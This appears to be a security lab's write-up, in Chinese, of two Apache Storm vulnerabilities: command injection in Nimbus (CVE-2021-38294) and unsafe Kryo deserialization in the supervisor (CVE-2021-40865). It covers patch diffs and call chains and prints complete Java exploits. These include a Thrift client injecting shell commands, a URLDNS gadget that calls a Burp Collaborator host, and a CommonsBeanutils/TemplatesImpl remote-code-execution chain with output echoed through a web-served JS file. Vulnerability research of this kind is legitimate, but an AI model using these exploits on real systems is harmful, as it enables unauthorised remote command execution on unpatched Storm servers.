作者:0x28@360高級攻防實驗室
原文鏈接:http://noahblog.#/apache-storm-vulnerability-analysis/

0x00 前言

前段時間Apache Storm更了兩個CVE,簡短分析如下,本篇文章將對該兩篇文章做補充。
GHSL-2021-086: Unsafe Deserialization in Apache Storm supervisor - CVE-2021-40865
GHSL-2021-085: Command injection in Apache Storm Nimbus - CVE-2021-38294

0x01 漏洞分析

CVE-2021-38294 影響版本為:1.x~1.2.3,2.0.0~2.2.0
CVE-2021-40865 影響版本為:1.x~1.2.3,2.1.0,2.2.0

CVE-2021-38294

1、補丁相關細節

針對CVE-2021-38294命令注入漏洞,官方推出了補丁代碼https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-30ba43eb15432ba1704c2ed522d03d588a78560fb1830b831683d066c5d11425 將原本代碼中的bash -c 和user拼接命令行執行命令的方式去掉,改為直接傳入到數組中,即使user為拼接的命令也不會執行成功,帶入的user變量中會直接成為id命令的參數。說明在ShellUtils類中調用,傳入的user參數為可控

img

因此若傳入的user參數為";whomai;",則其中getGroupsForUserCommand拼接完得到的String數組為

new String[]{"bash","-c","id -gn ; whoami;&& id -Gn; whoami;"}

而execCommand方法為可執行命令的方法,其底層的實現是調用ProcessBuilder實現執行系統命令,因此傳入該String數組后,調用bash執行shell命令。其中shell命令用戶可控,從而導致可執行惡意命令。

2、execCommand命令執行細節

接著上一小節往下捋一捋命令執行函數的細節,ShellCommandRunnerImpl.execCommand()的實現如下

img

execute()往后的調用鏈為execute()->ShellUtils.run()->ShellUtils.runCommand()

img

img

最終傳入shell命令,調用ProcessBuilder執行命令。

img

3、調用棧執行流程細節

POC中作者給出了調試時的請求棧。

getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)process:38, ProcessFunction (org.apache.storm.thrift)process:38, TBaseProcessor (org.apache.storm.thrift)process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)run:18, Invocation (org.apache.storm.thrift.server)runWorker:-1, ThreadPoolExecutor (java.util.concurrent)run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)run:-1, Thread (java.lang)

根據以上在調用棧分析時,從最終的命令執行的漏洞代碼所在處getGroupsForUserCommand僅僅只能跟蹤到nimbus.getTopologyHistory()方法,似乎有點難以判斷道作者在做該漏洞挖掘時如何確定該接口對應的是哪個服務和端口。也許作者可能是翻閱了大量的文檔資料和測試用例從而確定了該接口,是如何從某個端口進行遠程調用。

全文搜索6627端口,找到了6627在某個類中,被設置為默認值。以及結合在細讀了Nimbus.java的代碼后,關于以上疑惑我的大致分析如下。

Nimbus服務的啟動時的步驟我人為地將其分為兩個步驟,第一個是讀取相應的配置得到端口,第二個是根據配置文件開啟對應的端口和綁定相應的Service。

首先是啟動過程,前期啟動過程在/bin/storm和storm.py中加載Nimbus類。在Nimbus類中,main()->launch()->launchServer()后,launchServer中先實例化一個Nimbus對象,在New Nimbus時加載Nimbus構造方法,在這個構造方法執行過程中,加載端口配置。接著實例化一個ThriftServer將其與nimbus對象綁定,然后初始化后,調用serve()方法接收傳過來的數據。

img

Nimbus函數中通過this調用多個重載構造方法

img

在最后一個構造方法中發現其調用fromConf加載配置,并賦值給nimbusHostPortInfo

img

fromConf方法具體實現細節如下,這里直接設置port默認值為6627端口

img

然后回到主流程線上,server.serve()開始接收請求

img

至此已經差不多理清了6627端口對應的服務的情況,也就是說,因為6627端口綁定了Nimbus對象,所以可以通過對6627端口進行遠程調用getTopologyHistory方法。

img

4、關于如何構造POC

根據以上漏洞分析不難得出只需要連接6627端口,并發送相應字符串即可。已經確定了6627端口服務存在的漏洞,可以通過源代碼中的的測試用例進行快速測試,避免了需要大量翻閱文檔構造poc的過程。官方poc如下

import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class ThriftClient {
    public static void main(String[] args) throws Exception {
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);

        // send attack
        nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
    }
}

在測試類org/apache/storm/nimbus/NimbusHeartbeatsPressureTest.java中,有以下代碼針對6627端口的測試

img

可以看到實例化過程需要傳入配置參數,遠程地址和端口。配置參數如下,構造一個config即可。

img

并且通過getClient().xxx()對相應的方法進行調用,如下圖中調用sendSupervisorWorkerHeartbeats

img

且與getTopologyHistory一樣,該方法同樣為Nimbus類的成員方法,因此可以使用同樣的手法對getTopologyHistory進行遠程調用

img

CVE-2021-40865

1、補丁相關細節

針對CVE-2021-40865,官方推出的補丁代碼,對傳過來的數據在反序列化之前若默認配置不開啟驗證則增加驗證(https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-463899a7e386ae4ae789fb82786aff023885cd289c96af34f4d02df490f92aa2), 即默認開啟驗證。

img

通過查閱資料可知ChannelActive方法為連接時觸發驗證

img

可以看到在舊版本的代碼上的channelActive方法沒有做登錄時的登錄驗證。且從補丁信息上也可以看出來這是一個反序列化漏洞的補丁。該反序列化功能存在于StormClientPipelineFactory.java中,由于沒做登錄驗證,導致可以利用該反序列化漏洞調用gadget執行系統命令。

img

2、反序列化漏洞細節

在StormClientPipelineFactory.java中數據流進來到最終進行處理需要經過解碼器,而解碼器則調用的是MessageCoder和KryoValuesDeserializer進行處理,KryoValuesDeserializer需要先進行初步生成反序列化器,最后通過MessageDecoder進行解碼

img

最終在數據流解碼時觸發進入MessageDecoder.decode(),在decode邏輯中,作者也很精妙地構造了fake數據完美走到反序列化最終流程點。首先是讀取兩個字節的short型數據到code變量中

img

判斷該code是否為-600,若為-600則取出四個字節作為后續字節的長度,接著去除后續的字節數據傳入到BackPressureStatus.read()中

img

并在read方法中對傳入的bytes進行反序列化

img

3、調用棧執行流程細節

嘗試跟著代碼一直往上回溯一下,找到開啟該服務的端口

Server.java - new Server(topoConf, port, cb, newConnectionResponse);
WorkerState.java - this.mqContext.bind(topologyId, port, cb, newConnectionResponse); 
Worker.java - loadWorker(IStateStorage stateStorage, IStormClusterState stormClusterState,Map<String, String> initCreds, Credentials initialCredentials)
LocalContainerLauncher.java - launchContainer(int port, LocalAssignment assignment, LocalState state)
Slot.java - run()
ReadClusterState.java - ReadClusterState()
Supervisor.java - launch()
Supervisor.java - launchDaemon()

而在Supervisor.java中先實例化Supervisor,在實例化的同時加載配置文件(配置文件storm.yaml配置6700端口),然后調用launchDaemon進行服務加載

img

讀取配置文件細節為會先調用ConfigUtils.readStormConfig()讀取對應的配置文件

img

ConfigUtils.readStormConfig() -> ConfigUtils.readStormConfigImpl() -> Utils.readFromConfig()

img

可以看到調用findAndReadConfigFile讀取storm.yaml

img

讀取完配置文件后進入launchDaemon,調用launch方法

img

在launch中實例化ReadClusterState

img

在ReadClusterState的構造方法中會依次調用slot.start(),進入Slot的run方法。最終調用LocalContainerLauncher.launchContainer(),并同時傳入端口等配置信息,最終調用new Server(topoConf, port, cb, newConnectionResponse),監聽對應的端口和綁定Handler。

4、關于POC構造

import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;

import java.io.*;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;

public class NettyExploit {

    /**
     * Encoded as -600 ... short(2) len ... int(4) payload ... byte[]     *
     */
    public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
        byte[] payload = ser.serializeObject(obj);
        BigInteger codeInt = BigInteger.valueOf(-600);
        byte[] code = codeInt.toByteArray();
        BigInteger lengthInt = BigInteger.valueOf(payload.length);
        byte[] length = lengthInt.toByteArray();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
        outputStream.write(code);
        outputStream.write(new byte[] {0, 0});
        outputStream.write(length);
        outputStream.write(payload);
        return outputStream.toByteArray( );
    }

    public static KryoValuesSerializer getSerializer() throws MalformedURLException {
        HashMap<String, Object> conf = new HashMap<>();
        conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
        conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
        conf.put("topology.skip.missing.kryo.registrations", false);
        conf.put("topology.fall.back.on.java.serialization", true);
        return new KryoValuesSerializer(conf);
    }

    public static void main(String[] args) {
        try {
            // Payload construction
            String command = "http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net";
            ObjectPayload gadget = URLDNS.class.newInstance();
            Object payload = gadget.getObject(command);

            // Kryo serialization
            byte[] bytes = buffer(getSerializer(), payload);

            // Send bytes
            Socket socket = new Socket("127.0.0.1", 6700);
            OutputStream outputStream = socket.getOutputStream();
            outputStream.write(bytes);
            outputStream.flush();
            outputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其實這個反序列化POC構造跟其他最不同的點在于需要構造一些前置數據,讓后面被反序列化的字節流走到反序列化方法中,因此需要先構造一個兩個字節的-600數值,再構造一個四個字節的數值為序列化數據的長度數值,再加上自帶序列化器進行構造的序列化數據,發送到服務端即可。

0x02 復現&回顯Exp

CVE-2021-38294

復現如下

img

img

調試了一下EXP,由于是直接的命令執行,因此直接采用將執行結果寫入一個不存在的js中(命令執行自動生成),訪問web端js即可。

import com.github.kevinsawicki.http.HttpRequest;
import org.apache.storm.generated.AuthorizationException;
import org.apache.storm.thrift.TException;
import org.apache.storm.thrift.transport.TTransportException;
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class CVE_2021_38294_ECHO {
    public static void main(String[] args) throws Exception, AuthorizationException {
        String command = "ifconfig";
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);
        nimbusClient.getClient().getTopologyHistory("foo;" + command + "> ../public/js/log.min.js; id");
        String response = HttpRequest.get("http://127.0.0.1:8082/js/log.min.js").body();
        System.out.println(response);
    }

}

img

CVE-2021-40865

復現如下

img

img

原本POC只有URLDNS的探測,在依賴中看到CommonsBeanutils-1.7.0版本,直接使用Ysoserial的payload也可以,但是為了縮小體積,這里直接使用Phithon師傅的Cb代碼進行改造。改造后的代碼如下

import com.github.kevinsawicki.http.HttpRequest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;


import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;
import java.util.PriorityQueue;
//import javassist.ClassPool;
/**
 * Hello world!
 *
 */
public class CVE_2021_40865_ECHO
{
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
        byte[] payload = ser.serializeObject(obj);
        BigInteger codeInt = BigInteger.valueOf(-600);
        byte[] code = codeInt.toByteArray();
        BigInteger lengthInt = BigInteger.valueOf(payload.length);
        byte[] length = lengthInt.toByteArray();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
        outputStream.write(code);
        outputStream.write(new byte[] {0, 0});
        outputStream.write(length);
        outputStream.write(payload);
        return outputStream.toByteArray( );
    }

    public static KryoValuesSerializer getSerializer() throws MalformedURLException {
        HashMap<String, Object> conf = new HashMap<>();
        conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
        conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
        conf.put("topology.skip.missing.kryo.registrations", false);
        conf.put("topology.fall.back.on.java.serialization", true);
        return new KryoValuesSerializer(conf);
    }

    public static void main(String[] args) {
        try {
            byte[] bytes = buffer(getSerializer(), getPayloadObject("ifconfig"));
            Socket socket = new Socket("127.0.0.1", 6700);
            OutputStream outputStream = socket.getOutputStream();
            outputStream.write(bytes);
            outputStream.flush();
            outputStream.close();
            String response = HttpRequest.get("http://127.0.0.1:8082/js/log.min.js").body();
            System.out.println(response);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Object getPayloadObject(String command) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.get(EvilTemplatesImpl.class.getName());
        CtMethod ctMethod = cc.getDeclaredMethod("getCmd");
        ctMethod.setBody("return \""+ command + "  > /tmp/storm.log\";");
        setFieldValue(obj, "_bytecodes", new byte[][]{
                cc.toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        return queue;
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTemplatesImpl extends AbstractTranslet{
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws Exception {
        super();
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", getCmd()} : new String[]{"cmd.exe", "/c", getCmd() };
        Runtime.getRuntime().exec(cmds);
    }

    public String getCmd(){
        return "";
    }
}

為了方便傳參命令,這里使用javassist運行時修改類代碼,利用命令執行后將結果輸出到一個新的不存在的js文件中,再使用web請求訪問該js即可。

img

不過以上兩個exp的路徑都要依賴于程序啟動路徑,因此在寫文件這一塊可能會有坑。

0x03 寫在最后

由于本次分析時調試環境一直起不來,因此直接靜態代碼分析,可能會有漏掉或者錯誤的地方,還請師傅們指出和見諒。

0x04 參考

https://www.w3cschool.cn/apache_storm/apache_storm_installation.html

https://securitylab.github.com/advisories/GHSL-2021-086-apache-storm/

https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

https://github.com/frohoff/ysoserial

https://www.w3cschool.cn/apache_storm/apache_storm_installation.html

https://m.imooc.com/wiki/nettylesson-netty02

https://xz.aliyun.com/t/7348


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1780/